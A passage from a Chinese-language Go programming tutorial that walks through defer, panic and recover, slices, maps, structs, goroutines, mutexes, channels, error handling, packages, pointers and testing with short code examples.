deferredFunc2() fmt.Println(\u0026#34;Hello, 世界\u0026#34;) } // 輸出結果： // Hello, 世界 // deferredFunc2 // deferredFunc1 defer 與 return 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 func f() { r := getResource() // 0: 獲取資源 // ...... if ... { r.release() // 1: 釋放資源 return } // ...... if ... { r.release() // 2: 釋放資源 return } // ...... r.release() // 3: 釋放資源 return } 使用 defer 後，不論在哪 return 都會執行 defer 後方的函數，如此便不用在每個 return 前寫上 r.release()\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 func f() { r := getResource() // 0: 獲取資源 defer r.release() // 1: 釋放資源 // ...... if ... { // ... return } // ...... if ... { // ... return } // ...... return } 以下是清除資源的範例：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package main import ( \u0026#34;fmt\u0026#34; \u0026#34;os\u0026#34; ) func main() { f, err := os.Open(\u0026#34;/tmp/dat\u0026#34;) if err != nil { fmt.Println(err) return; } defer func() { // 延遲執行，而且函式 return 後一定會執行 if f != nil { f.Close() } }() b1 := make([]byte, 5) n1, err := f.Read(b1) if err != nil { fmt.Printf(\u0026#34;%d bytes: %s\\n\u0026#34;, n1, string(b1)) // 處理讀取的內容... } } BONUS(三)：panic() 如果在函式中執行 panic()，那麼函式的流程就會中斷，若 A 函式呼叫了 B 函式，而 B 函式中呼叫了 panic()，那麼 B 函式會從呼叫了 panic 的地方中斷，而 A 函式也會從呼叫了 B 函式的地方中斷，若有更深層的呼叫鏈，panic 的效應也會一路往回傳播。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package main import ( \u0026#34;fmt\u0026#34; \u0026#34;os\u0026#34; ) func check(err error) { if err != nil { panic(err) } } func main() { f, err := os.Open(\u0026#34;/tmp/dat\u0026#34;) check(err) defer func() { if f != nil { f.Close() } }() b1 := make([]byte, 5) n1, err := f.Read(b1) check(err) fmt.Printf(\u0026#34;%d bytes: %s\\n\u0026#34;, n1, string(b1)) } 如果在開啟檔案時，就發生了錯誤，假設這是在一個很深的呼叫層次中發生，若你直接想撰寫程式，將 os.Open 的 error 逐層傳回，那會是一件很麻煩的事，此時直接發出 panic，就可以達到想要的目的。\nBONUS(四)：recover 如果發生了 panic，而你必須做一些處理，可以使用 recover，這個函式必須在被 defer 的函式中執行才有效果，若在被 defer 的函式外執行，recover 一定是傳回 nil。\n如果有設置 defer 函式，在發生了 panic 的情況下，被 defer 的函式一定會被執行，若當中執行了 recover，那麼 panic 就會被捕捉並作為 recover 的傳回值，那麼 panic 就不會一路往回傳播，除非你又呼叫了 panic。\n因此，雖然 Go 語言中沒有例外處理機制，也可使用 defer、panic 與 recover 來進行類似的錯誤處理。例如，將上頭的範例，再修改為：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 package main import ( \u0026#34;fmt\u0026#34; \u0026#34;os\u0026#34; ) func check(err error) { if err != nil { panic(err) } } func main() { f, err := os.Open(\u0026#34;/tmp/dat\u0026#34;) check(err) defer func() { if err := recover(); err != nil { fmt.Println(err) // 這已經是頂層的 UI 介面了，想以自己的方式呈現錯誤 } if f != nil { if err := f.Close(); err != nil { panic(err) // 示範再拋出 panic } } }() b1 := make([]byte, 5) n1, err := f.Read(b1) check(err) fmt.Printf(\u0026#34;%d bytes: %s\\n\u0026#34;, n1, string(b1)) } 陣列 如何宣告陣列呢？很簡單！只要在變數宣告後面多加 [] 就可以了，裡面要填寫宣告的陣列數字。\n1 var x [5]int 完整的範例：\n1 2 3 4 5 6 7 8 9 package main import \u0026#34;fmt\u0026#34; func main() { var x [5]int x[4] = 100 fmt.Println(x) } 這邊來稍微說明一下：\n1 x[4] = 100 這一行的意思是說「x 的第五個元素賦予值 100」，之所以是第五個元素是因為，我們一開始用 var x [5]int 宣告了五個元素的陣列，而陣列的起始元素是第 0 個，從頭開始算 0, 1, 2, 3, 4 五個元素，所以 x[4] 表示的是第五個元素，如果要選擇第 0 個元素要寫 x[0]。\n接下來稍微看一個進階的例子來討論一下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 func main() { var x [4]float64 x[0] = 23 x[1] = 45 x[2] = 33 x[3] = 21 var total float64 = 0 for i := 0; i \u0026lt; 4; i++ { total += x[i] } fmt.Println(total / 4) } 這邊一樣是宣告五個元素的陣列，x[0] ~ x[4] 的部分是初始化數值的動作，後面 for 迴圈是走訪所有個元素並且加到 total 這個變數中，最後在 Println 的部分再除以 4 計算平均。雖然這個程式沒有問題，但是沒有彈性，如果我今天加入六個元素、七個元素，你就必須要更改三個地方（宣告、for 迴圈、fmt.Println），所以我們稍微將它更改一下：\n1 2 3 4 5 6 7 8 9 10 11 var x [4]float64 x[0] = 23 x[1] = 45 x[2] = 33 x[3] = 21 var total float64 = 0 for i := 0; i \u0026lt; len(x); i++ { total += x[i] } fmt.Println(total / len(x)) 我們利用內建的函式 len() 來計算陣列的數量，這樣子如果元素有修改，我們就只需要修改一個部分就可以了，剩下的 len() 會自己去計算陣列的數量。但是！！！這個程式執行會有問題，如果你執行程式碼會看到錯誤：\n1 invalid operation: total / 4 (mismatched types float64 and int) 這是因為 total 變數和 len() 計算完成後的型態不同，一個是 float64 另一個則是 int，所以發生錯誤，你必須要讓它強制轉型才可以執行。\n1 fmt.Println(total / float64(len(x))) 另外 for 迴圈有另外一種內建的寫法可以走訪每個陣列，就是利用 range ，但是他預設會有兩個回傳值，一個是鍵一個是值。\n1 2 3 4 5 var total float64 = 0 for i, value := range x { total += value } fmt.Println(total / float64(len(x))) 這個程式乍看之下沒有問題，但是我們都知道 Go 沒有使用的函式、變數，被 compile 看到連編譯都不給編，會出現「i declared and not used」錯誤，但是這邊我們真的不需要「i」這個鍵怎麼辦？我們可以利用「_」這個佔位符來取代。\n1 2 3 4 5 var total float64 = 0 for _, value := range x { total += value } fmt.Println(total / float64(len(x))) 讓我們來稍微檢視一下最後修改的版本：\n1 2 3 4 5 6 7 8 9 10 11 12 13 func main() { var x [4]float64 x[0] = 23 x[1] = 45 x[2] = 33 x[3] = 21 var total float64 = 0 for _, value := range x { total += value } fmt.Println(total / float64(len(x))) } 看起十分的精簡又方便維護！但是就只有這樣了嗎？我個人覺得初始化的部份還是太長了，就讓我們來簡化它！\n1 x := [4]float64{23, 45, 33, 21} 很短對不對！不過它很不方便閱讀，所以你也可以改成：\n1 2 3 4 5 6 x := [4]float64{ 23, 45, 33, 21, } 注意最後一個逗點要留著喔！不然編譯會出錯，你不要覺得這個逗點很奇怪，一切都是有原因的，原因就在於方便維護！\nSlice（切片） 在建立陣列的時候要指定元素的大小，但是！我們今天如果不知道要多大怎麼辦？陣列可以不輸入元素大小嗎？答案是可以！不過這個方法會有問題！而且他的型態不是陣列，而是 Slice。\n建立 Slice 1 var x []float64 夠簡單了吧！其實就只是指陣列不寫元素大小而已。\nSlice 有兩種數值，一個是容量一個是長度。這兩個有什麼不同呢？其實容量就是最大能裝多少，而長度不能超過容量。\n那我們要怎麼設定長度跟容量呢？\n1 x := make([]float64, 5) 這是標準的建立 slice 的方法，這裡設定一個長度和容量都是 5 的 slice 變數 x，這時候你會問：為什麼我只有指定一個 5 ，它卻幫我把長度跟容量設定為 5 呢？這是因為這裡設定的 5 其實是長度，容量則是系統自動配置，會符合最適當大小，所以也是 5。\n如果要自訂容量大小，只要再多一個參數就可以設定囉：\n1 x := make([]float64, 5, 10) 我們還可以利用另外一個方法建立 Slice，[low : high] 這個方法來參考別的 Slice 或是陣列來建立 Slice。\n1 2 arr := [5]float64{1,2,3,4,5} x := arr[0:5] 需要特別注意的點是 high 表示的是結束的點，而不是它的元素位置喔！\n以上面的例子來說 arr[0:5] 其實是指 [1,2,3,4,5]，如果是 arr[1:4] 則是 [2,3,4]。\n另外在某些情況下 low 跟 high 是可以省略的，像是 arr[0:5] 這樣子就可以省略成 arr[:5]；\n如果省略成 arr[0:] 則是相當於 arr[0: len(arr)]；\n是的，你發現了嗎？你當然可以省略成 [:]，它相當於 arr[0:len(arr)]。\nAppend 與 Copy Slice 有兩個一定要學會的函式，一個是 Append 另一個是 Copy，讓我們逐一看一下例子：\n1 2 3 4 5 func main() { slice1 := []int{1,2,3} slice2 := append(slice1, 4, 5) fmt.Println(slice1, slice2) } 這邊使用 append 把 4、5 加入到 Slice1 中，並且賦予 Slice2。如果要更改原本的內容則是要這樣寫：\n1 slice1 = append(slice1, 4, 5) 只要重新覆蓋掉 slice1 就可以了，但是要特別注意！不可以加冒號！冒號是宣告的時候用的短語法。\nMap 在 Golang 中，有沒有一個類似 JSON 陣列的方法、型態呢？你可以使用 Map！\n建立與使用 Map 1 var x map[string]int 跟 Array 還有 Slice 有點相似對吧？我這邊說明一下：\nx 是變數名稱 map 這個是建立 Map 的時候用的關鍵詞彙不能省略 括弧中的 string 表示鍵的型態，int 則是值的型態。 我們來嘗試建立看看一個 Map：\n1 2 3 var x map[string]int x[\u0026#34;key\u0026#34;] = 10 fmt.Println(x) 什麼！？居然出現 Panic，這個是什麼？\n1 panic: runtime error: assignment to entry in nil map 我稍微省略了一些錯誤的 log ，讓我們聚焦在最重要的這一句話上面，他的意思是說不能賦予值到 nil map 上面。原來我們用 var x map[string]int 建立 Map 的時候沒有初始化它，所以它會建立一個 nil map，而 nil map 不能使用鍵，所以導致這樣的錯誤，那初始化怎麼寫呢？\n1 2 3 x := make(map[string]int) x[\u0026#34;key\u0026#34;] = 10 fmt.Println(x) 如果你只是要印出鍵的數值：\n1 fmt.Println(x[\u0026#34;key\u0026#34;]) 當然 string 不是唯一的選項，你也可以用 int。\n1 2 3 x := make(map[int]int) x[1] = 10 fmt.Println(x[1]) 這樣就可以使用數字當作鍵來用。\n另外可以新增，但是要怎麼刪除呢？ Go 有內建函式可以使用：\n1 delete(x, 1) 除了新增刪除，如果今天我想要知道 map 有多少元素呢？\n我們之前介紹過得 len() 也可以用的喔，如果只是剛建立沒有給值會是 0 ，如果像是前面的 x[1] = 10 這樣賦予值就會變成 1，以此類推。\n1 len(x) 如果鍵沒有宣告？ 如果我們今天印出的鍵值沒有宣告，例如：\n1 2 3 4 5 elements := make(map[string]string) elements[\u0026#34;H\u0026#34;] = \u0026#34;Hydrogen\u0026#34; elements[\u0026#34;He\u0026#34;] = \u0026#34;Helium\u0026#34; fmt.Println(elements[\u0026#34;Al\u0026#34;]) 通常我們要印出不存在的，在編譯的時候會報錯，但是這邊你執行後你會發現 Map 不會。\n那 Go 有沒有方法可以判斷它是否是空的呢？當然有的！\n1 2 name, ok := elements[\u0026#34;Al\u0026#34;] fmt.Println(name, ok) 這樣會印出什麼呢？它會印出 false，因為他是空值，但是你會發現明明 map 就回傳兩個返回值，為什麼印出來只有 false？原因是 name 其實對應到 value，但是值是空值，所以就沒有印了，而 ok 是返回它有沒有值。\n我們再來利用這個語法來做點進階的應用：\n1 2 3 if name, ok := elements[\u0026#34;Al\u0026#34;]; ok { fmt.Println(name, ok) } 這裡的意思是說「Al 是否有值呢？如果有的話請印出」。\n如果覺得前面初始化的太長了，你可以試試這種簡短的寫法：\n1 2 3 4 elements := map[string]string{ \u0026#34;H\u0026#34;: \u0026#34;Hydrogen\u0026#34;, \u0026#34;He\u0026#34;: \u0026#34;Helium\u0026#34;, } 當然我們都知道 JSON 格式可以是巢狀的，Go 當然一定也可以囉！\n但是要怎麼做呢？\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 func main() { elements := map[string]map[string]string{ \u0026#34;H\u0026#34;: map[string]string{ \u0026#34;name\u0026#34;:\u0026#34;Hydrogen\u0026#34;, \u0026#34;state\u0026#34;:\u0026#34;gas\u0026#34;, }, \u0026#34;He\u0026#34;: map[string]string{ \u0026#34;name\u0026#34;:\u0026#34;Helium\u0026#34;, \u0026#34;state\u0026#34;:\u0026#34;gas\u0026#34;, }, } if el, ok := elements[\u0026#34;He\u0026#34;]; ok { fmt.Println(el[\u0026#34;name\u0026#34;], el[\u0026#34;state\u0026#34;]) } } Struct Struct 是一個可以自定義型態的功能。\nStruct 就是有點類似 OOP(物件導向) 的概念。比如說我今天想要建立一個型態\u0026quot;人\u0026quot;，那人有姓名和身高，這時候就可以使用 Struct。\n1 2 3 4 type person struct { name height } 實例化：\n1 p := person{\u0026#34;Tony\u0026#34;, 169} {} 內的順序依定義 struct 的順序，或是可以指定項目初始化：\n1 p := person{name: \u0026#34;Tony\u0026#34;, height: 169} 如果想要存取 struct 裡面的內容，只要在後面加 . 就好了；比如說我想存取 person 的 name：\n1 fmt.Println(person.name) 多重定義 比如說我的人比較多了，想要建立群組，裡面有群組名稱及人：\n1 2 3 4 5 6 7 8 9 type person struct { name string height int } type group struct { name string person } 實例化：\n1 g := group{\u0026#34;LINE\u0026#34;, person{name: \u0026#34;Emily\u0026#34;, height: 158}} 這時候就算是 struct 裡面又包了 struct。\n函式 1 2 3 4 5 6 7 8 9 10 11 12 13 package main import \u0026#34;fmt\u0026#34; func add(x int, y int) int { return x + y } func main() { fmt.Println(add(42, 13)) } // 輸出結果：55 函數可以沒有參數或接受多個參數。\n在這個例子中，\u0026ldquo;add\u0026rdquo; 接受兩個 int 類型的參數(注意類型在變數之後)。\nreturn 代表傳回的數值為何？這裡表示傳回 x + y 也就是 42 + 13 ，所以結果會是 55。\n當兩個或多個連續的函數命名參數是同一類型，則除了最後一個類型之外，其他都可以省略：\n1 x int, y int 可以縮寫成：\n1 x, y int 也就是說上面的程式碼可以改成：\n1 2 3 4 5 6 7 8 9 10 11 12 13 package main import \u0026#34;fmt\u0026#34; func add(x, y int) int { return x + y } func main() { fmt.Println(add(42, 13)) } // 輸出結果：55 多數值的返回 函數可以返回任意數量的返回值，這個函數返回了兩個字串：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 package main import \u0026#34;fmt\u0026#34; func swap(x, y string) (string, string) { return y, x } func main() { a, b := swap(\u0026#34;hello\u0026#34;, \u0026#34;world\u0026#34;) fmt.Println(a, b) } // 輸出結果：world hello 命名返回值 在 Go 中，函數可以返回多個「結果參數」，而不僅僅是一個值。它們可以像變數那樣命名和使用。\n如果命名了返回值參數，一個沒有參數的 return 語句，會將當前的值作為返回值返回。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package main import \u0026#34;fmt\u0026#34; func split(sum int) (x, y int) { x = sum * 4 / 9 y = sum - x return } func main() { fmt.Println(split(17)) } // 輸出結果：7 10 以這個程式碼為例，sum int 表示宣告整數 sum，將參數 17 放入 sum 中，x, y int 宣告整數 x,y 在下面使用，由於 return 沒有設定返回值，這邊程式就將 x,y 都回傳了，所以結果會出現 7 10。\nGoroutine Go 很酷的特色 Goroutine，他類似於其他語言的 Thread，意思即一支程式同時進行好幾個小程式。\n要使用 Goroutine 非常的簡單，只要一個字，一個很熟悉的字，「go」。\n讓我們看看下面這個簡單的例子：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package main import ( \u0026#34;fmt\u0026#34; ) func f(n int) { for i := 0; i \u0026lt; 10; i++ { fmt.Println(n, \u0026#34;:\u0026#34;, i) } } func main() { go f(0) } 你執行後你會發現什麼東西都沒有印出！\n不是 Go 有問題，因為使用 goroutine 是平行處理的，所以在還沒開始印 n 之前，main 這個主要的函式已經結束了。\n我們使用一下內建的 time 函式，讓 main 函式等一下，讓 goroutine 跑完。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package main import ( \u0026#34;fmt\u0026#34; \u0026#34;time\u0026#34; ) func f(n int) { for i := 0; i \u0026lt; 10; i++ { fmt.Println(n, \u0026#34;:\u0026#34;, i) } } func main() { go f(0) time.Sleep(time.Second * 1) // 暫停一秒鐘 } 你就可以看到印出 1 ~ 10 了。\nWaitGroup 有鑑於剛剛背景 Thread 所執行的項目都還沒開始程式就結束了，WaitGroup 的功能即為等待這個 Group 的項目執行完再繼續進行。\n首先，因為 WaitGroup 是包含在 package sync 裏頭的，所以需要引入一下：\n1 import \u0026#34;sync\u0026#34; 宣告一個 WaitGroup 變數：\n1 var wg sync.WaitGroup 當 WaitGroup 裏頭的空間等於 0 的時候就會繼續進行主程式，下面會介紹一些操作方式。\nAdd() 增加 WaitGroup 裡可以容納個 Thread。\n1 wg.Add(2) Wait() 等待 WaitGroup 裡的 Thread 執行完畢再繼續進行。\n1 wg.Wait() Done() 或是 Add(-1) 使 WaitGroup 的容量 - 1。\n1 2 3 wg.Done() // or // wg.Add(-1) 有了這些基本操作後，我們可以改良剛剛的程式：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package main import ( \u0026#34;fmt\u0026#34; \u0026#34;sync\u0026#34; ) func foo() { for i := 1; i \u0026lt;= 10; i++ { fmt.Println(\u0026#34;Foo: \u0026#34;, i) } wg.Done() } func bar() { for i := 1; i \u0026lt;= 10; i++ { fmt.Println(\u0026#34;Foo: \u0026#34;, i) } wg.Done() } var wg sync.WaitGroup func main() { wg.Add(2) go foo() go bar() wg.Wait() } Sleep 讓程式暫停。\n這個功能是放在 package time 裡面的，所以又要引入了。\n1 2 3 import \u0026#34;time\u0026#34; time.Sleep(5 * time.Millisecond) 這個範例是暫停五秒鐘。\nRace condition 有了 go 這個好用的東西可以分成好幾個 Thread 同時進行，那就有可能會有同時搶奪資源的情況。比方說兩個 Thread 同時都要讀取並修改同一個變數，拿一個情境題來舉例：\n如果今天同一個銀行的網路銀行有提款功能，而有人同時在兩台電腦都登入了要提款，兩台電腦都送出了提領 1000 的請求會怎樣呢？\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package main import ( \u0026#34;fmt\u0026#34; \u0026#34;sync\u0026#34; \u0026#34;time\u0026#34; ) func withdraw() { balance := money time.Sleep(3000 * time.Millisecond) balance -= 1000 money = balance fmt.Println(\u0026#34;After withdrawing $1000, balace: \u0026#34;, money) wg.Done() } var wg sync.WaitGroup var money int = 1500 func main() { fmt.Println(\u0026#34;We have $1500\u0026#34;) wg.Add(2) go withdraw() // first withdraw go withdraw() // second withdraw wg.Wait() } 到最後大家會發現 1500 提領了兩次 1000 還剩 500？為甚麼呢？\n因為在第一次提領的時候，系統先讀取餘額為 1500 元，同時第二台電腦也登入了餘額也是顯示為 1500 元，這時候就是因為兩邊同時搶著讀取餘額的原因，所以第一次提領 1000 元時回報給系統\u0026quot;餘額剩 500 元\u0026quot;，第二台領了 1000 元也回報系統\u0026quot;餘額剩 500 元\u0026quot;。\n不過 Golang 的編譯器可以檢查是不是有 race condition，只要在平常執行 go run 後面加上參數 -race 即可。\n1 go run -race main.go Mutex、Lock()、Unlock() 那要如何避免這樣的情況發生呢？Mutex 可以解決上面這樣的問題。這個也是在 package sync 裏頭。\n1 2 3 4 import \u0026#34;sync\u0026#34; // 宣告一個 Mutex 變數 var mu sync.Mutex 當使用 mu.Lock() 的時候，之後所用到的變數就會上鎖，只有在使用中的 Thread 可以存取，其他都需要等到釋放後才能存取。\n1 mu.Lock() 釋放 lock 變數：\n1 mu.Unlock() 所以我可以將剛剛 withdraw() 改良：\n1 2 3 4 5 6 7 8 9 10 func withdraw() { mu.Lock() balance := money time.Sleep(3000 * time.Millisecond) balance -= 1000 money = balance mu.Unlock() fmt.Println(\u0026#34;After withdrawing $1000, balace: \u0026#34;, money) wg.Done() } 因為 Lock() 和 Unlock() 通常都會一起出現，所以有些人會這樣寫：\n1 2 3 4 5 6 7 8 9 10 11 12 func withdraw() { { mu.Lock() balance := money time.Sleep(3000 * time.Millisecond) balance -= 1000 money = balance mu.Unlock() } fmt.Println(\u0026#34;After withdrawing $1000, balace: \u0026#34;, money) wg.Done() } 全部的程式碼：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package main import ( \u0026#34;fmt\u0026#34; \u0026#34;sync\u0026#34; \u0026#34;time\u0026#34; ) func withdraw() { mu.Lock() balance := money time.Sleep(3000 * time.Millisecond) balance -= 1000 money = balance mu.Unlock() fmt.Println(\u0026#34;After withdrawing $1000, balace: \u0026#34;, money) wg.Done() } var wg sync.WaitGroup var money int = 1500 var mu sync.Mutex func main() { fmt.Println(\u0026#34;We have $1500\u0026#34;) wg.Add(2) go withdraw() // first withdraw go withdraw() // second withdraw wg.Wait() } 如此一來就解決 race condition 的問題了！\nChannel Channel 也是 Golang 非常特別的特色。\n要建立一個 Channel 很簡單，make(chan string) 這樣就可以了。\n1 c := make(chan int) Send 要將東西送到 channel 就把資料指向 channel 變數就好：\n1 c \u0026lt;- 5 Receive 就將箭頭往外指。\n1 x := \u0026lt;-c Close() 當 Channel 被 Close 之後，就只能讀取不能寫入了：\n1 close(c) 當變數傳遞 channel 其實就是一個變數，在 function 裡是可以傳入傳出的。\n1 2 3 4 5 6 7 8 9 // 傳入 func foo(c chan int) { // do something } // 傳出 func foo() { // do something } 這邊簡單建立了一個 message 的 channel，可以傳輸字串，然後用 go 來 call goroutine 執行函式，然後 msg 負責接收 messages 的傳輸資料，goroutine 執行的函式裡面傳 \u0026ldquo;ping\u0026rdquo; 到 messages 這個 channel 裡面，再由 message 傳給 msg 變數印出。\n1 2 3 4 5 6 7 8 9 10 11 12 13 package main import \u0026#34;fmt\u0026#34; func main() { messages := make(chan string) go func() { messages \u0026lt;- \u0026#34;ping\u0026#34; }() msg := \u0026lt;-messages fmt.Println(msg) } 再講個範例可能會比較容易懂：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package main import ( \u0026#34;fmt\u0026#34; ) func main() { c := make(chan int) // 在 goroutine 之下執行這個 function go func() { for i := 0; i \u0026lt; 10; i++ { c \u0026lt;- i } close(c) }() for n := range c { fmt.Println(n) } } 在這裡 go func() 將 i 傳入 c，下面的 for 會等待 c 有什麼時候有新東西，一有新東西他就會 print 出來！\n很簡單直覺對吧！透過這個方法就可以簡單的讓 Goroutine 可以溝通！\nSelect Channel 有一個類似 Switch 的流程控制「Select」，它只能應用於 Channel 讓我們一起來看看。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package main import \u0026#34;time\u0026#34; import \u0026#34;fmt\u0026#34; func main() { c1 := make(chan string) c2 := make(chan string) go func() { time.Sleep(time.Second * 1) c1 \u0026lt;- \u0026#34;one\u0026#34; }() go func() { time.Sleep(time.Second * 2) c2 \u0026lt;- \u0026#34;two\u0026#34; }() for i := 0; i \u0026lt; 2; i++ { select { case msg1 := \u0026lt;-c1: fmt.Println(\u0026#34;received\u0026#34;, msg1) case msg2 := \u0026lt;-c2: fmt.Println(\u0026#34;received\u0026#34;, msg2) } } } 這邊用 go 建立兩個 goroutine 分別將 one 和 two 傳給 c1、c2，下面主函式的 for 回會將 1、2 透過 select 流程控制來接收 channel 的訊息再印出。\n是不是很簡單，這樣子就可以更有效的控制 channel 了。\n錯誤處理 有時候程式的錯誤是在預料之內的，防範也防範不了，但總不能因為一個錯誤就讓整支程式停下來吧？因此就需要 Error Handling。如果有學過其他程式語言可能會覺得用法跟 try\u0026hellip;cache 有點不同。\n如何使用？ 其實滿簡單的，只要知道所使用的 function 有回傳 error 就可以使用，通常在使用手冊上會看到，以 HTTP GET 來說：\n1 2 3 4 5 resp, err := http.Get(\u0026#34;http://example.com/\u0026#34;) // ... resp, err := http.Post(\u0026#34;http://example.com/upload\u0026#34;, \u0026#34;image/jpeg\u0026#34;, \u0026amp;buf) // ... resp, err := http.PostForm(\u0026#34;http://example.com/form\u0026#34;, url.Values{}) 官方使用手冊就有回傳 err 的參數，意思就是錯誤內容會傳到 err 內。\n那就 HTTP GET 來舉例，如果有 Get 到東西的話就會存到 resp，沒有的話就會把錯誤訊息存到 err：\n1 2 3 4 resp, err := http.Get(\u0026#34;http://ithelp.ithome.com.tw/\u0026#34;) if err != nil { fmt.Println(err) } 錯誤內容 err 是可以直接 Print 出來的！\nFatalln() Fatalln() 這個 function 就是兩行 code 的組合，這個 function 是包在 \u0026ldquo;log\u0026rdquo; 中的。\n1 2 3 4 5 import \u0026#34;log\u0026#34; // Print 出錯誤內容後結束程式 fmt.Println(err) os.Exit(1) 淺談 package package 可以將一些常常會用的程式碼獨自建立一個檔案，所以在同一個資料夾內可以有好幾個 package 檔案。某方面來說也是便於管理程式碼。\npackage 的有效範圍 在同一個 package 中可以把這些檔案看作是在同一個檔案內。\n比如說 package person 中第一個檔案 personName.go：\npersonName.go 1 2 3 package person var MyName = \u0026#34;Wayne\u0026#34; package person 中第二個檔案 sayHelloTo.go：\nsayHelloTo.go 1 2 3 4 5 6 package person func SayHelloTo(s string) string { str := \u0026#34;Hello \u0026#34; + s + \u0026#34;!\u0026#34; return str } 這兩個檔案都在 package person 中，所以可以把它視為這樣：\n1 2 3 4 5 6 7 8 package person var MyName = \u0026#34;Wayne\u0026#34; func SayHelloTo(s string) string { str := \u0026#34;Hello \u0026#34; + s + \u0026#34;!\u0026#34; return str } 該如何使用 package？ 只要在程式一開始 import 就行了，常用的 fmt 就是一個標準 package。\n要注意的是路徑是從 $GOPATH/src/ 為起始目錄的相對路徑。\n1 2 3 4 import { fmt \u0026#34;github.com/xxx\u0026#34; } 大小寫的差異 在 package 中變數或函式的命名開頭字元大小寫是有差異的：\n大寫開頭： 在 package 之外可見，稱作 exported 小寫開頭： 僅限於 package 內使用，稱作 unexported 注意：這概念跟其他語言的 public、private 很像，但是在 GO 的領域通常還是講 exported、unexported。\n舉個例子來說：\nalien.go 1 2 3 4 package alien // name start with capital will be exported in another file var AlienName = \u0026#34;Wayne\u0026#34; 這邊的 AlienName 大寫開頭 - exported\n所以在其他檔案中只要 import 就可以使用：\nmain.go 1 2 3 4 5 6 7 8 9 10 package main import ( \u0026#34;fmt\u0026#34; \u0026#34;alien\u0026#34; ) func main() { fmt.Println(alien.AlienName) } 如果是 function 也是一樣：\nperson.go 1 2 3 4 5 6 package person func SayHelloTo(s string) string { str := \u0026#34;Hello \u0026#34; + s + \u0026#34;!\u0026#34; return str } main.go 1 2 3 4 5 6 7 8 9 10 package main import ( \u0026#34;fmt\u0026#34; \u0026#34;person\u0026#34; ) func main() { fmt.Println(person.SayHelloTo(\u0026#34;Wayne\u0026#34;)) } 變數的可視範圍 變數的宣告其實也是門學問，很多新手會想說\u0026quot;全部都宣告全域變數就好了啊\u0026quot;，但為了安全性、可讀性以及有效的執行最小權限原則(即為要用到的變數才看的到，用不到的就不需要看到)，這裡就仔細地跟大家講解。\npackage 同一個 package 可以視為程式碼都在同一個檔案內。\n括號內的變數 {} 括號內的變數只要是同樣在括號內都能使用，括號外則不行。\n1 2 3 4 5 6 7 8 9 10 11 12 package main import \u0026#34;fmt\u0026#34; func main() { x := 1 foo() // 錯誤，因為 x 屬於 main 中的變數 } func foo() { fmt.Println(x) } 全域變數 這個比較猛，意思就是在程式中都能讀到他，每個地方的操作都會改變他的值。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 package main import \u0026#34;fmt\u0026#34; var x = 0 func xPlus() { x++ } func main() { x++ // x = 1 xPuls() // x = 2 } 順序 宣告的順序當然也很重要，宣告之後才可用。\n1 2 3 4 5 6 7 8 9 10 package main import \u0026#34;fmt\u0026#34; func main() { x := 5 fmt.Println(x) fmt.Println(y) // 這樣是找不到 y 的 y := 10 } 變數和函式名稱相同 這樣用是不會出錯，但是不建議，日後 debug 可能造成麻煩。\nPointer 將變數直接指向記憶體位置就叫做 Pointer，要修改內容就直接到該記憶體位置修改。\n基本操作 1 2 3 4 5 6 7 8 9 10 11 12 13 package main import \u0026#34;fmt\u0026#34; func main() { var p *int // 宣告 p 是一個 int 的指標，但此時他要指向哪還不知道 a := 10 // a 佔用了一個記憶體空間 p = \u0026amp;a // 將 p 指到 a 的記憶體位置 fmt.Println(p) // p 所指到的記憶體位置 fmt.Println(*p) // * 代表顯示該記憶體位置的值 } function 的運作 有了 Pointer 的概念，就比較好理解 function 是怎麼傳值的。\n1 2 3 4 5 6 7 8 9 10 11 12 13 package main import \u0026#34;fmt\u0026#34; func foo(x int) { fmt.Println(\u0026amp;x) // function 內 x 的記憶體位置 } func main() { a := 10 fmt.Println(\u0026amp;a) // main 裡面 a 的記憶體位置 foo(a) } 結果會看到兩個記憶體位置是不一樣的。代表在 function 傳值過去後，function 複製該值到另一個空間來操作，對於原本 main 裡面的值是不會影響的。\nfunction 傳指標 當然，想要在傳指標到 function 內操作也是可以的。\n1 2 3 4 5 6 7 8 9 10 11 12 13 package main import \u0026#34;fmt\u0026#34; func foo(x *int) { fmt.Println(x) // function 內 x 的記憶體位置 } func main() { a := 10 fmt.Println(\u0026amp;a) // main 裡面 a 的記憶體位置 foo(\u0026amp;a) } 可以看到傳指標過去後，兩邊操作的是同一個東西。\n測試 寫了這麼多小程式，甚至也自己打包了成 Package 了，那 Go 有提供自動化測試的方法嗎？測試程式是否正常？讓我們一起來看看 Go 的測試方法。\n首先我們先寫一個簡單的 Package 來看看：\ntesting.go 1 2 3 4 5 6 7 8 9 package math func Average(xs []float64) float64 { total := float64(0) for _, x := range xs { total += x } return total / float64(len(xs)) } 這個很簡單，這裡簡單建立一個叫 math 的 Package，這是一個簡單算平均的 Package，將讀取進來的浮點數陣列一個一個用 for 讀取進來累加，然後在返回總和除總數的結果。\nmain.go 1 2 3 4 5 6 7 8 9 10 11 package math import \u0026#34;testing\u0026#34; func TestAverage(t *testing.T) { var v float64 v = Average([]float64{1,2}) if v != 1.5 { t.Error(\u0026#34;Expected 1.5, got\u0026#34;, v) } } 然後我們來寫另外一個檔案，這個是測試的寫法，建議檔名取 math_test.go，因為前面的 Package 取名叫做 